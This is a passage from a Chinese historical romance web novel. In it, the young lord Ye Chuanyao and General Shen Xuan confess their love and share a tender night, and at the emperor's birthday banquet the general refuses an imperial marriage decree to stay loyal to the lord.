但听他说得如此郑重,心底也不禁有几分动容。 胸口流窜着滚烫热意,让他只想将人紧紧拥住。 他看着面前的人,忽地想起此前寻找孟括一事。 于是问:“如此说来,当初我托忘川阁寻人,他们不肯,想来也是你的授意?” 沈翾嗯了声,不紧不慢道:“当初你孤身一人,无依无靠。孟括一事,我自不能任由你独自涉险。” 想起那时的无助,叶川遥鼻尖一酸。 若非沈翾庇护,他大概只会落得跟前世一样的下场…… 他看向沈翾,轻声问:“可那时你对我并无情谊,为何要如此帮我?” 沈翾握着他的手,慢条斯理道:“那时我对你的确并无非分之想。” 叶川遥闻言眼底黯淡一瞬,闷闷地哦了声。 沈翾笑笑:“从前去国公府时,常听你父亲提起你。” 叶川遥闻言颇感意外,他竟不知父亲曾在沈翾面前提过自己。 不禁好奇:“父亲都同你说我什么了?” 沈翾慢声道:“他常夸你聪慧通透,心思纯净。可又觉得自己把你养得太过娇纵,担心日后若有坎坷,你会无力承受。” “我本不在意,只当他是关心则乱。” “直到那日抄家之时,我初见你,才终于懂了他的苦心。” 叶川遥静静地听着他说,他第一次听他说起这些,心中浮起丝丝悸动。 沈翾笑了笑,继续道:“那时我第一次知道,原来这世上竟有眼睛如此澄澈之人。” “见惯了世间污浊,便觉得这份纯真难能可贵,合该好好护住才是。” 叶川遥心中一动,轻声问道:“所以你收留我,并非因我把你闹得烦了,其实只是顺水推舟?” 沈翾看着他轻笑,故意道:“想照顾你是真的,被你闹得烦了也是真的。” “哼,”叶川遥哂笑一声,“看着我花样百出很有意思吗?” 沈翾嗯了声:“的确挺有意思的。” 叶川遥轻嗤一声。 他静默片刻,随即目光缱绻地看着沈翾,心底漫出无尽爱意,只觉胸口都被灼烧得滚烫。 不禁柔声道:“将军,你帮了我这么多,我真不知该如何报答了。” 沈翾不以为意地笑笑:“你我之间,何需说这些?” “一码是一码,”叶川遥道,“如今我虽得了将军喜爱,但一直以来实在亏欠将军太多,我这心里总归是过意不去……” 沈翾略有些迷茫地看着他。 怎地又突然如此客气? 叶川遥将身子往前凑了凑,仰着下巴贴近他,轻声喃喃道:“只是如今我身无长物,也没什么能报答的,不如就还是……以身相许好了!” 果然。 小少爷突然正经起来,便一定是在打什么鬼主意。 “不好。” 沈翾不为所动地将他的头推开,还用指尖弹了下。 以身相许岂不是趁人之危,他并不想要这样的回报。 叶川遥摸了摸额头,噘着嘴道:“不要算了,居然还嫌我……” 他不过随口一叨叨,也没想着沈翾会应他。 却听他道:“并非嫌你。” “那你为何……”叶川遥到底没好意思继续说下去。 沈翾自然明白他的意思,轻轻扯了扯嘴角:“想知道?” 叶川遥缓缓点头:“嗯。” 当然想了。 沈翾目光顿了顿,慢慢倾身向前,轻轻含住他的唇瓣,轻吻几下,随即温柔地辗转厮磨。 叶川遥的头皮一阵酥麻,周身被情动的愉悦包围着,不自觉地闭上眼。 骨节分明的指尖紧紧抓着身前人的衣袖,轻轻应着。 须臾后,沈翾抬起头,染上情.欲的眼睛深深地看着他,嗓音轻柔道: “心悦你,所以想同你在一起,与我是否于你有恩,并无干系。” 叶川遥闻言莞尔一笑,漂亮的桃花眼弯起,轻轻嗯了声:“我也一样。” “心悦你,想同你在一起,与旁的并无干系。” 沈翾欣然一笑,将人轻轻拥入怀里。 第63章 入夜时分, 忘川阁内,南桑与沈翾相对而坐,一人一杯, 小酌慢饮。 南桑将目光移至对面,徐徐开口:“世子看过密函了?怎么说?” 沈翾思绪一顿,没来由地想起叶川遥对着自己柔声轻语的模样, 嘴角不自觉漫出一丝浅笑。 他抬手将酒杯填满,送至嘴边, 漫不经心道:“大抵是安心了些。” 见他一脸愉悦, 南桑笑笑,站起身从桌案上取来一封信函, 递给他。 “从前虽听闻世子倾城之貌, 俊逸绝伦, 却未曾想追求者竟会有如此之多。” “世子能得遇将军, 实属不易,将军可要将人抓紧了才是。” 沈翾接过信, 却并未当即打开,目光淡淡, 看不出在想些什么。 南桑看向他, 眼中多出一丝兴味:“怎么, 不敢看?” 沈翾静默不语,只任眉头微微一蹙 。 南桑笑笑, 终是发了善心,没再留他独忍煎熬。 开口解惑道:“放心, 虽说追求者颇多,也议过亲,但世子并无心仪之人。” “将军之前所说的爱而不得, 想来应是弄错了。” 沈翾看向他,眼底有光微动,脸上却带着一丝困惑。 南桑的手段他自然清楚,断不会弄错。 可心上人一事,明明是阿遥亲口所言,究竟又是怎么一回事? “消息确切吗?”他神情微敛,沉声问。 南桑笑着反问:“将军是在质疑我忘川阁的能力?” 沈翾垂眸沉思,荒唐猜测在心中一闪而过,却未敢深想,只幽声道:“若他从未与人提起,自然无迹可寻。” 南桑在他对面坐下,替他斟了杯酒,正色几分道:“平日同世子有来往的公子小姐都已仔细查过,并无特别之人。” “世子与他们大多只是泛泛之交,亲近些的也就一个五皇子。” “将军见过他们两个在一处的样子,自然该知道,二人并无思慕之情。” 他看向沈翾,思忖着道:“世子当日说,他同那人云泥之别,是他一厢情愿,那人并不知情。” “我怎么觉得,他说的这个人……倒有些像将军你呢?” 沈翾呼吸一滞,目光深沉地看向他。 随即皱着眉摇摇头。 说不清是不信,还是不敢信。 他与阿遥从前并未见过,又何来的思慕已久…… 南桑沉思一瞬,继续道:“还有一事,将军不妨听听。” 他缓缓道:“三年前,世子曾大病一场,养了足足一个月才得以痊愈。” “而发病那日,正是陛下召将军进宫,要下赐婚圣旨的那一日。” 沈翾陡然愣住,眼中尽是不可置信。 虽不敢信,却又隐隐觉得,事实便是如此。 是因为他吗? 阿遥藏在心里许久的人……竟是他吗? “阿遥对将军思慕已久,此言不假!” “只要能留在将军身边,阿遥不在乎旁人怎么说!” “阿遥的心里,只有你一个。” “翾哥哥,我喜欢你。” “只喜欢你。 ” “……” 曾经的缱绻之言一字一句地出现在脑海里。 沈翾重重地呼出一口气,心疼得无以复加。 那些深情之言,那些看似随意的情话,竟都是阿遥的真心话吗? 见沈翾眉头紧蹙,一脸的痛意,南桑轻轻一愣。 他从未见过将军这副样子。 铁骨铮铮,如神祇一般的男人,此刻眼角却泛着红,脸上布满悔恨和疼惜。 南桑站起身,拍了拍沈翾的肩,清声道:“将军,去同世子说清楚,真相如何,让他亲口告诉你。” 沈翾闭了闭眼,许久后才起身离开。 …… 天色阴沉,连绵细雨纷落而下。 院中美人蕉随风轻颤,水汽氤氲下红得分外妖娆。 卧房内,叶川遥脱了外袍正要睡下,却听房门外隐隐传来说话声。 “世子可睡下了?” 有侍卫回道:“灯亮着,想来应是还未睡下。” 叶川遥闻言朝门外道:“我还没睡,将军进来吧!” 沈翾顿了顿,推门而入。 叶川遥立在屏风前,眉眼轻笑着问:“怎么这么晚过来,可是想我了?” 沈翾看他一眼,目光深沉,轻轻应了声:“嗯,想你了。” “今日说话怎的这般好听?”叶川遥走到他身前,拿袖子替他拭去脸上的水滴。 “怎么淋了雨,没打伞吗?” 沈翾看向面前的人,漆黑的眼底藏着千言万语,却一时不知从何说起。 他轻轻握住落在自己脸侧的手,静默一瞬道:“阿遥,我问你一事,你要如实答我。” 叶川遥不知发生了何事,但见他一脸凝重,遂郑重地应下:“好,你问,我绝不欺瞒。” 沈翾目光微动,沉声问:“那日在沐北王府,我亲耳听见你同郡主说,你曾有一心上人。” “那个人,究竟是谁?” 叶川遥身上一怔。 这段时日,他一直等着沈翾前来问他,却一直没有动静。 本以为他已将此事放下,没想到今日却又突然来问。 既如此,他也不想再瞒他。 他看着面前之人,一脸真挚道:“是你。” “我的心上人,从始至终,都是你。” 沈翾心底一颤,不断升腾的炙热灼烧着他的胸口,呼吸都变得不再顺畅。 他愣在原地,静静地听着面前之人道: “你以为我为何去你府上,你当我叶川遥是什么人,难道真的随便找个人就去自荐枕席吗?” “入府时我说过的话,一字一句,俱出自真心。” “阿遥倾慕大将军许久,心之所属,唯大将军一人。” “这句话,从来都是真心。” 叶川遥说着说着鼻尖一酸,嗓音不由自主地带上几分哽咽。 “我喜欢将军,自十六岁起,无一日不思慕于你。” 沈翾心下一阵剧痛,多年未曾流泪的眼底泛起一阵湿意。 他双手颤抖着将人抱进怀里,缓缓收紧手臂,好似要将怀中之人嵌入自己的身体里。 薄唇覆在柔滑的脖颈上,带着无比的珍视。 他将头埋在叶川遥颈间,低声道:“是我不好,不该疑你,也不该让你一人难过。” “我沈翾何德何能,值得你为我至此……” 叶川遥第一次见这样的沈翾,心里不禁动容。 他抬手将人回抱住,柔声轻语道:“翾哥哥,我知道你心疼我,但我并不觉得苦。” “心里装着一个人并不是一件痛苦的事。相反,只要一想到你,我就觉得很开心,很满足。” “我所倾慕之人,是天底下最厉害的大英雄。我以你为荣,也从不后悔。” 沈翾抬起头,方才的无措失控渐渐淡去,只余深邃目光落在身前。 他缓缓颔首,在叶川遥唇边落下轻柔一吻。 此情难觅,老天待他不薄。 虽知前尘,但困惑未解。 沈翾坐于榻前,握住叶川遥的掌心,慢声问:“你我从前并未相识,为何会心悦于我?” 叶川遥捏着他的指尖,思绪飘远,缓缓道:“自少时我便常听父亲提起你,说你在战场上是如何的骁勇善战,无往不利。” “又是如何的一表人才,年少有为。” “那时候我便想,大将军究竟会是一个怎样的人?” “后来一次你来府里,我在廊下偷偷看你,才知道原来传闻中杀人不眨眼的大将军,竟然生得这样好看!” 沈翾笑笑,故意道:“原来世子是看上了我这身皮囊。” 叶川遥莞尔一笑:“你这么说倒也不错。” “难道将军不是因为我好看才喜欢我的吗?” 沈翾点点头,温声道:“情由色起,因色而近,进而知全貌。” “阿遥这样好看的人,我又如何能不喜欢?” “可我并非只是因为这些才倾心于你。”叶川遥看着他道。 “十七岁那年春猎,你将我从熊掌之下救下,那时才是真正入了心。” “你却根本都不记得我……” 沈翾心下一惊,他竟不知,他与阿遥从前还有这样的过往。 他仔细回忆着,终于记起些零星片段。 那年他的确一箭救下一个少年,只是当时并未仔细去瞧那人的模样…… 没想到竟然会是阿遥。 沈翾恍然一笑。 兜兜转转,他们竟从许久之前就已有了牵绊。 幸好,如今两心相印,终不曾错过。 这段时日,沈翾的一颗心起起伏伏,如今终于前所未有地安定下来。 心底的浓烈爱意也终于压制不住,决堤而出。 他近乎失控地将人压在身下,灼热的吻纷落而至,似要将叶川遥整个人揉进骨血里。 一想到阿遥满心都是自己,便情动到不可自抑。 叶川遥没想到风雨来得如此突然。 他的唇舌被亲得发麻,里衣太薄,每一次触碰都仿佛在身上点火,惹得脊骨一阵颤栗酥麻。 恍惚间,他听见沈翾的双唇贴在他耳边,用充满蛊惑的嗓音唤他:“阿遥,抱着我。” 叶川遥抬手拥住他的脊背,两个人贴得更紧,热意流窜,身上的每一处变化都触感分明,让人无法自控。 叶川遥被亲得目光迷离,呼吸起伏间见沈翾伸手拽开床边的柜子,从一堆瓶子里随手取了个来,细嫩润滑的乳膏沾满指尖。 叶川遥的脑袋轰得一声,脸上陡然红了一片。 这些,竟是做这个用的? 云画这个小丫头…… 他,他就算能用到,也用不着这么多吧…… 这得用多少回…… 眼见着沈翾朝着他身下探去,意乱情迷间,叶川遥红着脸问:“不是说从前没有过吗?” “那你为何知道……此物的用处?” 沈翾扯起嘴角笑了下,幽深的眼底染上一层浓浓的情欲。 嗓音低哑道:“怕有一日忍不住,便提前做了些功课。” “……” “什么……功课?” “你说呢?”低沉的嗓音带着极致的蛊惑。 叶川遥突然有一种羊肉虎口,要被拆穿入腹的感觉。 从前都是他处心积虑欲求不满。 如今真到了这一刻,反倒有些怕了。 “我,我有点怕疼……”他颤抖着嗓音道,“你……你轻一点……” “好,”沈翾轻喘着应了声。 叶川遥微眯着眼,在极致的缱绻中渐渐沉沦,只剩一声声轻喃。 “将军……” “叫我什么?”沈翾吻在他耳边,低声诱哄。 “翾哥哥……” 沈翾眸色一深,后背紧绷成一条线,攻城略地间呼吸渐粗,耳畔轻呻让他第一次生出失控之感。 第64章 一夜雨歇, 又复晴空万里,百花绽放。 叶川遥睁开眼时身旁已空无一人,床榻之上只余一丝余温。 他动了动身子, 虽甚是疲乏,却并不十分难受。 昨夜场景一幕一幕在眼前闪现,光是想想就能让他血脉偾张。 叶川遥不禁红了脸, 一颗心蹦蹦直跳。 悸动之余却又懊恼非常。 昨夜他与沈翾虽肌肤相贴,全身上下摸了个遍, 却并未做到最后。 他被沈翾亲得意乱情迷, 感受着炙热的吻游走在周身每一处。 明明身上软得不像话,明明也迫切地渴求。 可偏偏…… 他是真的怕疼…… 纵然用上软膏也还是疼得紧。 他一哭, 沈翾便不敢再继续, 只得退出来, 不知所措地柔声轻哄。 “疼得厉害吗?” 叶川遥紧紧抓着他的肩, 哽咽着:“无妨的……” 他虽如此说,沈翾却心疼地不再动, 只温柔地吻他。 后来见他难受,沈翾一边亲他, 一边用手替他纾解了两回, 最后见他累极了才哄着他睡下…… 叶川遥想着想着不禁呼吸渐深。 他明明盼了很久的…… 沈翾紧实的腹肌, 紧绷的腰身,他都还没摸够…… 回想起昨夜情景, 想起沈翾情动时想要将他蹂进骨血的模样,叶川遥的周身又不由地燃起一阵燥热。 他将头缩进被子里, 对自己暗骂一声不争气。 怎的就如此娇弱,连那一点疼都忍不了。 白白扫了兴。 沈翾当时忍得辛苦,也不知最后是如何…… 门吱呀一声开了又关。 沈翾走到榻前, 见床上的人蒙着头,只露出个毛茸茸的头顶。 他在床边坐下,将被子轻轻往上抻了抻。 “醒了?” 沈翾看着面前略显低落的俊美面容,柔声问:“可是还疼着?” 叶川遥轻轻晃了晃脑袋:“不疼了。” 见他如此,沈翾有些懊恼地轻叹一声:“是我不好,不该如此心急。” “不怪你,”叶川遥轻轻出声道,“我也想的,只是太怕疼……” 他顿了顿,声音越来越低,红着脸道:“不过没关系,想来多习惯几次,也就好了……” “下一次,你,你不必停下……” 一边说着,一边又往被子里缩。 整个人快要红透了。 极尽轻柔的嗓音自耳边拂过,沈翾整颗心都要化了。 他捏了捏叶川遥温热的掌心,低头在他的唇边亲了下,笑着道:“不急,来日方长。” 叶川遥弯了弯唇,极轻地嗯了声。 下一次他绝不会再喊疼! 见外面日头已高,叶川遥起了身。 昨夜沈翾替他换了里衣,床榻也重新铺过。 见床头摆着崭新的碧色外袍,他拿起换上,冲沈翾道:“你今日不去上朝吗?” 沈翾嗯了声,拾起床上的墨青色腰带,抬手自他腰间绕过。 一边慢条斯理地帮他绑着,一边答道:“各地藩王明日便会陆续入京,为确保各处万无一失,还需仔细查看。” “我这几日会忙一些,你自己好生照顾自己。” 没想到沈翾会亲自帮他更衣,叶川遥微微一愣,随即眉眼弯了弯。 乖顺道:“放心吧,我会老老实实待在府里,不会让你担心的。” 沈翾将他的腰带捋平摆正,从上到下打量一遍,眼底深了深。 戏谑的语气道:“世子这副倾城之姿,或许只有把你藏起来,我才能真的放心。” 叶川遥哼了声,贴近他笑着问:“大将军是想金屋藏娇?” 沈翾笑着嗯了声:“你若愿意,也未尝不可。” 叶川遥勾起嘴角,仰着脸看着他,轻声道:“哪需要藏,如今我整个人都已是你的了,还能跑到哪里去?” “我的心思你又不是不知道……” “每日每时地同你待在一处都嫌不够,哪还会跑……” 他慢声轻语地说完,一张脸几乎要整个埋到沈翾胸前。 柔软的嗓音里夹着一丝娇嗔,直惹得人心潮翻涌。 沈翾闻言心下一颤,视线不由自主地落在那骨感白皙的脖颈上。 昨夜的旖旎画面再次浮现。 他呼吸一沉,随即将人压在屏风前,结结实实地亲了个够。 两人如今毫无芥蒂,爱意正浓,自然恨不得一直黏在一处。 叶川遥被亲得双唇泛红,眼尾氤氲出朦朦雾气。 目光迷离地望着他:“快去吧,别误了公务。” 嘴上在催他走,眼里却满是不舍。 沈翾看着面前的人,无声叹了口气。 从前论及帝王因美色枉顾朝政,他只觉荒唐无稽。 君子有度,怎可贪恋一时欢愉。 如今才知,美人当前,想要坐怀不乱,当真需要极大的毅力。 他眼含柔情地看着面前的人,忍着不舍道:“那我走了,你好生歇着,等忙完我便过来看你。” 叶川遥莞尔应了声好,目送他离开。 沈翾方才离开,云画端着饭食进来。 “世子请用早膳,早上将军特地吩咐厨房做的,都是世子爱吃的!” 想起柜子里躺着的那些瓶瓶罐罐,这会儿一见云画,叶川遥只觉自己脸上如火烧一般。 平时他在沈翾面前没脸没皮也就罢了,当着云画一个丫头的面,实在是羞稔难当。 他僵硬地扯了扯嘴角,不去看她,一个人坐下默默吃饭。 云画却偏偏不肯放过他,凑上前支支吾吾地问:“世子可有哪里不适,需不需要奴婢请大夫过来?” “不必!”叶川遥匆忙摆手,“我什么事都没有,别劳烦了!” 他可不想弄得阖府上下人尽皆知! 云画应了声好,倒是没再勉强,躬身退了下去。 叶川遥这才终于松了口气,一个人把饭吃完,便去藏书楼看书去了。 * 万寿节至,举国同庆。 为彰显仁善,求得上天庇佑,皇帝大赦天下,死罪者免死,牢狱者折减三年。 各地藩王受邀进京,一时间京城各处人语笙歌,热闹不绝。 礼部将各位藩王刺史安置在几处空宅子里。宅子外派重兵把守,以护众人周全。 万寿节当日,皇帝携诸位藩王登观礼台,赏中军之势,观大盛国威。 三万将士于宫门外齐聚,呼声震天,有如雷动,势如破竹。 沈翾一身铠甲立于万人之前,手执长枪,目光如炬,嗓音高亢响彻云间,有如天神降临。 叶川遥带着人早早便到了宫门外,挤到了人群最前头,踮着脚遥遥望向远处的模糊身影。 虽看不真切,却能远远感受到磅礴的肃杀之气。 那是统领万军、一人当关万夫莫开的大将军。 是大盛的底气和倚仗。 也是他的心之所向。 沈翾携所有将士跪于前,皇帝脸上带着浅笑,道:“有诸位将士在,我大盛安矣。” 有藩王附和道:“中军骁勇,实乃我大盛之福。” “大将军国之栋梁,治军有方,必可保我大盛百年昌盛。” 皇帝笑笑,脸上一片温和,点头道:“有大将军在,朕心甚安。” 有藩王站在皇帝身后互相看一眼,心中各藏心事。 夜晚,宫中设宴,遍邀各地藩王及朝中和各郡重臣及官眷进宫同乐。 许多年也赶不上这样一回盛事。 藩王和大臣们都带了家中最出众的子女前来,以求在各部官员面前露露脸,方便日后谋个好差事或者好姻缘。 叶川遥本来没想跟着去,但皇后却偏偏点名要沈翾把人带着。 “皇后娘娘为何要我同去?” 沈翾摇摇头,不以为意道:“大概是听说了些什么。” “你只管去瞧瞧热闹,旁的有我。” 叶川遥便放下心来,他最喜欢热闹,而且有段时日不见季岩,也不知他近况如何,正好借着宫宴见上一面。 只是上次跟着沈翾一道赴宴实在太过惹眼,这次他便同父亲坐到一起,只希望能少些是非。 大堂之上欢声阵阵,各位藩王多年不曾回京,昔日旧交自是要上前寒暄几句,一时间热闹非常。 季兰青第一次随自己父王进宫,甚是稀奇,东张西望一双眼睛都快不够用。 见叶川遥也在,便起身上前寻他。 “世子,别来无恙啊!” 叶川遥起身颔首:“郡主,许久不见,一切可好?” 季兰青笑着点头:“我自然都好。你呢,可同你那心上人表明心意了?” 叶川遥莞尔一笑,嗯了声道:“我同他……已彼此许了终身。” “啊?”季兰青眼睛一亮,“那你们是不久就要成亲了吗?” “你可上门提亲了?” 叶川遥一时不知该如何解释,总不能直接告诉他,他的相好之人是大将军吧…… 至于提亲,他倒是想,只怕大将军不肯答应…… 他想了想,随口道:“还没有,不过想来也快了……” 季兰青笑笑:“那等你们成亲可要告诉我,我倒要看看,能让世子思慕多年的人,究竟是个什么模样!” 叶川遥轻声笑笑,点头道:“好,到时一定去请郡主!” 季兰青晃了晃发尾,正要转身回席,恍然间瞥见一道熟悉身影,倏地眼睛一亮。 陆清玖也正巧朝这边看过来,看见季兰青后目光一顿,想了想,起身朝着两人而去。 他走到两人面前,朝二人行了常礼:“郡主,世子。” 叶川遥一愣,这家伙怎地突然对他如此客气? 陆清玖看向季兰青,向来桀骜不驯的脸上多了一丝羞稔,轻声道:“郡主近来可好?” 季兰青嫣然一笑:“我挺好的,你呢,听说你在军中任职,可会辛苦?” “不辛苦,”陆清玖道,“大丈夫守家卫国,谈何辛苦?” 季兰青笑笑:“陆公子胸中有丘壑,令人佩服。” “……” 叶川遥看看两人你一言我一语,心里大概明白了几分。 他可不想再做那多余之人,便转身去寻季岩去了。 第65章 季岩一见他立即两眼发亮。 隔着老远便冲着他喊道:“阿遥, 这边!” 叶川遥朝他走过去,笑着开口:“殿下近来可好?” “我挺好的啊,”季岩说着碰了碰他的肩, 一脸兴味地笑道,“哎,我听说, 你又住进了将军府?” “你跟大将军这回是真好上了?” 叶川遥咧嘴一笑。 先是郡主,再是季岩, 怎的一见面竟都来问他与沈翾的事。 不过他也没打算藏着, 坦然地嗯了声,欣然道:“我已经同他都说开了。如今我与他两情相悦, 他让我留在府上, 等身子调理好了再回军营。” 季岩啧了声, 感叹道:“没想到大将军居然是个贴心的, 真看不出来啊!” 叶川遥冲他笑笑,一脸得意道:“你没看出来的多着呢, 将军的好可是只有我知道!” “啧啧啧,瞧把你高兴的, 真是没眼看!”季岩嫌弃地撇撇嘴。 他说完一顿, 往叶川遥身前靠了靠, 压低嗓音耳语道:“不过你们可要小心些,我总觉得季寒这几日似在谋划些什么。” 叶川遥眸色一凛:“他要做什么?” 季岩摇摇头:“昨日他去父皇寝殿, 将宫人都遣了出去,在里面待了许久才出来。” “后来又去了郑贵妃宫中。” “听说郑贵妃同他大吵了一架, 把御赐的白玉瓶都砸碎了!” 叶川遥闻言不禁心生担忧。 如今京中藩王重臣齐聚,这个当口,季寒他又想搞什么名堂? 他微微蹙眉, 不管他们有什么阴谋,还是提醒将军小心提防才是。 正思忖着,身旁走来一人,手臂圈住他的肩,极其自然地往自己身前一带,便将他与季岩的距离拉开了几分。 季岩:“……” 哼,小心眼! 叶川遥侧眸望过去,看清来人后勾唇一笑:“终于得空了?” 沈翾浅笑着嗯了声,缓缓将手放下,看着他问:“累不累?” 叶川遥笑着摇摇头,贴近他耳边道:“不累,只是想你了。” “本来想去找你的,见你身旁人不断,便没去打扰。” 季岩:“……” 当他不在吗? 他忍不住翻了个白眼,叹声道:“真受不了你们两个,日日见面,这会儿分开这么一时片刻都不行?” 沈翾笑笑,对叶川遥道:“你先自己吃点东西,我晚些过来陪你。” “好。”叶川遥笑着应道。 皇帝临驾,众人起身跪拜。 齐声道:“愿陛下福如东海,寿与天齐,吾皇万岁万岁万万岁!” “众爱卿平身。” 皇帝立于玉阶之上,居高临下地望着堂下众人,面带微笑道:“今日是朕的寿辰,诸位远道而来,朕心甚喜。大家不必拘礼,只管尽兴。” “谢陛下!” 皇帝坐下,宫人端来美酒佳肴,笑着道:“这宫中许久不曾如此热闹了。诸位王爷多年未曾回京,可觉得这京中有何变化啊?” 西南王站起身道:“回陛下,此次回京,臣见京中百姓和乐,民生有序,比从前更显富足安宁。” “陛下治国有方,实乃百姓之福,大盛之福。” 东临王亦起身附和:“如今我大盛国泰民安,全是倚仗陛下福泽庇佑。望陛下龙体康健,福寿绵长,以保我大盛万年基业!” 叶川遥远远看着两人一唱一和,只觉讽刺。 治国有方? 大兴寺庙,求仙问道,视百姓疾苦为无物,这样的皇帝也配流芳百世? 皇帝被几句话哄得满面红光,笑着道:“说起朕的龙体,寒儿近日给朕寻个位仙师,道法之分高明。朕用了仙师的丹药,觉着身上比从前轻快不少,好似又年轻了几岁。” “寒儿有心了。” 季寒站起身躬身道:“为父皇分忧是孩儿的本分,孩儿只盼父皇寿与天齐,福泽万年。” “哈哈哈好,好!”皇帝开怀大笑,举起杯道,“今日高兴,朕要与众爱卿多饮几杯!” 堂下众人举杯共饮,恭贺声不断。 三皇子一党对季寒的恭维甚是不屑。 小小年纪倒是惯会奉承,政绩没几件,只会用这些话将皇帝哄得高兴,得皇帝宠爱。 不过六皇子一党却并不如此认为。 三皇子虽为人端方,勤于政事,但皇帝对六皇子的偏爱却是有目共睹。 郑家虽已没落,但郑贵妃并未失宠,皇帝既对这对母子宠爱有加,这太子之位,季寒的胜算自然更大些。 两党各怀鬼胎,明里暗里都在较劲。 湘南王站起身道:“陛下,此次湘南水灾,多亏三殿下亲赴赈灾,安抚民心,才使湘南百姓安然度过此劫。” “臣代湘南百姓谢过陛下,谢过三殿下!” 皇帝微微一笑,嗯了声道:“泽儿此事办得的确不错,该赏!” 说着看向季泽:“泽儿,你可有什么想要的?” 季泽站出来,面色温和,目光淡淡道:“谢父皇,儿臣并无所求。” “身为皇子,洞察百姓疾苦,替父皇分忧,乃儿臣份内之事。儿臣不敢居功。” “只希望往后再无天灾,百姓能够安然度日。” 湘南王朝季泽躬了躬身:“三殿下宅心仁厚,胸怀天下,实乃我朝之福。” “此次若不是殿下临危不乱,运筹帷幄,我湘南百姓不知还要受多少苦!” 堂下有人低声附和:“是啊,这才是皇子该有的样子!” “三殿下虽身份尊贵、锦衣玉食,却能体恤民心,实属难得啊!” 季寒目光一沉,却并不恼怒。 就算这朝中人人都觉得季泽比他好又如何,只要他登上大位,这些人照样只能对他俯首称臣。 可如今父皇龙体康健,这太子之位,他怕是还要等上好些年。 他不想再等…… 再等下去,不管是这太子之位,还是阿遥,都要成为旁人的掌中之物了。 皇帝听闻堂下的议论声,慈和的眸色微微一凛,随即神色自然地笑着道:“几位王爷离京已久,快尝尝这京中的膳食可还合胃口?” 听皇帝如此说,众人便不再拘礼,纷纷拿起筷子。 淮南王尝了口,点头道:“嗯,这桂花软酪还跟从前一样。” “多谢陛下,让臣等能再尝到这少时味道!” 几位藩王齐声道:“谢陛下!” 叶川遥百无聊赖地吃着果子,时不时朝沈翾的方向瞥一眼。 沈翾独自端坐着,眸色淡淡地听着那些人你来我往,明枪暗箭,无甚新鲜。 他抬眸朝叶川遥所在的方向看过去,见小少爷也正盯着他,便忽地一笑,心里亮了几分。 这宫中处处乌烟瘴气,唯有眼前风景令人赏心悦目。 见沈翾朝自己看过来,叶川遥莞尔一笑,俏皮地眨了眨眼,用嘴型冲他道:“晚上见……” 沈翾笑笑,无声嗯了下。 季寒的视线从方才起便时不时地落在叶川遥身上,两人之间的小动作全被他看在眼里。 他攥了攥拳,心口躁郁不已。 西南王眼里闪过一道精光,开口缓缓道:“今日兵礼实属震撼,有如此精兵强将,定可保我大盛百年安宁。” 一人从旁附和:“是啊,这些年多亏有大将军镇守,我大盛边陲才安稳无虞。” “只是苦了将军,至今还未能娶亲……” 皇帝点点头,将话接过去,看着沈翾问:“大将军今年已有二十五了吧?” 皇后从旁微不可察地蹙了蹙眉,意味深长地看向沈翾。 该来的终究还是来了…… 沈翾闻言起身回了声是,眉目淡淡地垂着,眼底晦暗不明。 皇帝看着他,面露微笑,一副君臣和乐的模样。 兀自道:“二十五,确实也该成家了。” “找个体贴的夫人,知冷知热的有人照顾着,这将军府也能热闹些。” 未待沈翾应声,他转头又看向沐北王,笑着问:“王叔,不知郡主今年芳龄几许,可曾婚配啊?” 沐北王心里一颤,远远望了沈翾一眼,站起来躬身道:“回陛下,小女今年十六,未……未曾婚配。” 叶川遥屏住呼吸看向沈翾,心里忐忑不安。 皇帝这是打算要撮合沈翾和郡主? 从前想要把公主嫁给他,如今又打起了郡主的主意。 就非要给他塞个人吗? 皇帝眼里闪了闪,看着堂下几人道:“郡主风姿绰约,温柔可人,与大将军倒极是般配。” “今日朕便做一回媒,给你们二人赐婚,也算是成就一桩喜事。” 他说着看向皇后,面上带笑问:“皇后意下如何?” 皇后看一眼皇帝,又看向沈翾,心底思绪万千。 她顿了顿,末了轻轻应了声:“如此甚好。” 作为皇后,当着诸位藩王和重臣的面,她根本无法忤逆皇帝。 当年她毁了沈翾同长乐公主的婚事,皇帝虽未明说,但却一直怀恨在心。 所以这一次,皇帝不会再给她反驳的机会。 皇后目光幽深地看向沈翾,心里生出隐隐担忧。 以沈翾的性子,怕是…… 皇帝笑了声,兀自道:“既然皇后也觉得好,那此事便这么定了。” “让礼部选个黄道吉日,亲自操办你们的婚事!” 堂下响起一阵恭贺声:“恭喜郡主,恭喜大将军……” “真是天造地设的一对,甚是般配啊!” “……” 季兰青垂眸不语,眼底有光闪烁,远远看向陆清玖,不知在想些什么。 陆清玖也朝她看去,面色微怔。 叶川遥则整个人僵在原地,脑子里一片空白。 皇帝赐婚了? 沈翾就要同旁人……成亲了? 那他呢? 到底还是只能做个男宠吗? 凭什么,他的身份虽不比公主郡主,但也是尊贵非常,难道就因着他是男子,就不配与大将军共结连理吗? 他不服,也绝不会就这样认输! 皇帝要沈翾同旁人成亲,那他今天就把这宫中搅个天翻地覆,所有人都别想好过…… 叶青云担心地看向自己的儿子,见他面色苍白,遂在他手上拍了拍,低声道:“阿遥,别冲动!” 叶川遥陡然冷静了几分。 这一世父亲好不容易平安无事,他不能为了自己,再连累父亲和整个卫国公府。 可他该怎么办,他真的,接受不了…… 两世了,若他终究还是不能同沈翾在一起,那他苟活于世,又有什么意义…… 他想着想着眼底便湿了一片,神色茫然地望向沈翾。 沈翾深深地看他一眼,绕过桌案,屈膝跪下,颔首朝皇帝一字一顿清晰道:“陛下,赐婚一事,臣恕难从命。” “请陛下收回成命!” 皇帝眯了眯眼,看着他沉声问:“大将军这是要抗旨吗?” 整个殿内鸦雀无声,众人齐齐看向沈翾,紧张地等着他的回答。 虽说大将军劳苦功高,大权在握,但公然抗旨,皇帝若借此治他的罪,言官们就算稍有微词,也不好多说什么。 此举实在是不该啊。 叶川遥不可置信地看着他,一颗心仿佛快要跳出来,心里满是担忧。 沈翾他…难道是要抗旨吗? 沈翾拱手跪在堂下,上身挺直,嗓音沉稳道:“臣并非有意抗旨,只是臣与世子早已私定终身。” “臣曾对天起誓,沈翾一生,心中唯世子一人,非世子不娶。” 隐隐的议论声和惊讶声在殿内传开,众人无不震惊。 “这大将军竟然真的要娶一个男妻?” “世子虽美,但若娶为正妻,岂不失了子嗣?” “放着公主郡主不娶,偏要娶个男子回去,唉,当真是美色误人啊!” “……” 皇帝闻言眸色微潋,不以为然地笑着道:“朕也听说了一些大将军与世子的风月之事。” “大将军既与世子有情,便将世子纳了留在府里便是,但娶妻一事,不可儿戏。” “这偌大的将军府,总要有个当家主母才是!” 